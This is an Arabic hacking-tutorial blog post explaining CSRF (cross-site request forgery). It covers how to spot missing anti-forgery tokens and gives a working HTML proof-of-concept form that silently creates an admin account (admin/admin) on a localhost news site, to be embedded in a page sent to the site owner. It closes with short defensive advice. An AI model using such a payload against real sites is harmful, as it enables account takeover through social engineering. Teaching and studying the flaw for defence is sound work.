تعرف على ثغرة CSRF - مدرسة القراصنة

Latest

مدرسة القراصنة عبارة عن مدونة تهدف الى اعطائك مجموعة من التقنيات والطرق في عالم القرصنة لكي تكون اسلوب خاص بك لكي تستطيع الاستمرار والنجاح في هذا المجال

BANNER 728X90

Tuesday, 3 February 2015

تعرف على ثغرة CSRF


       


السلام عليكم

سنتعرف فى هذا المقال على ثغرة csrf

وكيفية اكتشافها واستغلالها

ما هى ثغرة CSRF

هى اختصار ل Cross-Site Request Forgery

وهى معروفة بعدة اسماء اخرى مثل:

XSRF,

“Sea Surf”,

Session Riding

, Hostile Linking.

One-Click attack

ويمكن ان تصنف انها من عائلة ثغرات xss

تقوم هذه الثغرة بإجبار المستخدم على فعل وظيفة غير مرغوب فيها مثلا كإضافة ادمن جديد

او تغيير الباسورد بدون علم المستخدم.

خطورة الثغرة :
هى ثغرة خطيرة بالتأكيد لأنها قد تؤدى الى اختراق الموقع بالكامل

متطلبات الثغرة :
تعتمد بشكل او بأخر على الهندسة الإجتماعية لأنها تتطلب ارسال الرابط الى الضحية

الرابط عبارة عن صفحة ويب بها اكواد خاصة من الموقع المصاب تقوم بإضافة ادمن او تغيير وظيفة فى الموقع

او في عمليات  الشراء والبيع أوتغيير الإيميل

اي أنها لها استخدمات واسعة وخطورتها كبيرة .

اكتشاف الثغرة:
اسهل طريقة لفحص الموقع من هذا النوع من الثغرات

هو فحص كل الطلبات المهمة مثل وظائف اضافة الأدمن وتغيير الباسورد

تبحث فيها عن tokens

وهل هي موجودة ام لا ؟ ويمكن توقعها او لا؟

اذا كانت غير موجودة او يمكن توقعها فانتقل الى عملية الإستغلال

مثال:
موقع اخباري يقوم بإضافة اعضاء من الرابط التالى

http://localhost/news/admin.php?action=options&mod=accounts&create=new

افحص السورس كود للصفحة و

(تتغير من موقع الى اخر)استخرج كل الفورم

هذا هو الإستغلال

<html>
<head>
<title> CSRF </title>
</head>
<form method="POST" name="form1" action="http://localhost/news/admin.php?action=options&mod=accounts&create=new">
<input type="hidden" name="accountname" value="admin"/>
<input type="hidden" name="accountemail" value="admin@local.com"/>
<input type="hidden" name="accountpassword1" value="admin"/>
<input type="hidden" name="accountpassword2" value="admin"/>
<input type="hidden" name="accountaccesslevel" value="1"/>
<input type="hidden" name="S1" value="Save"/>
</form>
<form method="GET" name="form2" action="http://localhost/news/js/main.php">
<input type="hidden" name="name" value="value"/>
</form>

</body>
</html>
نقوم بدمج هذا الكود فى صفحة ويب ونرسلها لصاحب الموقع

عندما يفتحها

نقوم الصفحة بإضافة ادمن جديد

user:admin

pass:admin

 الحماية من ثغرات csrf
على جانب المستخدم :

لا تفتح اى لينك غير موثوق فيه

تأكد جيدا من اسم الموقع

على جانب الموقع:

لابد من استخدام التوكن لحماية الموقع

هذا كان شرح مبسط للثغرة

 اى استفسار لا تترد فى السؤال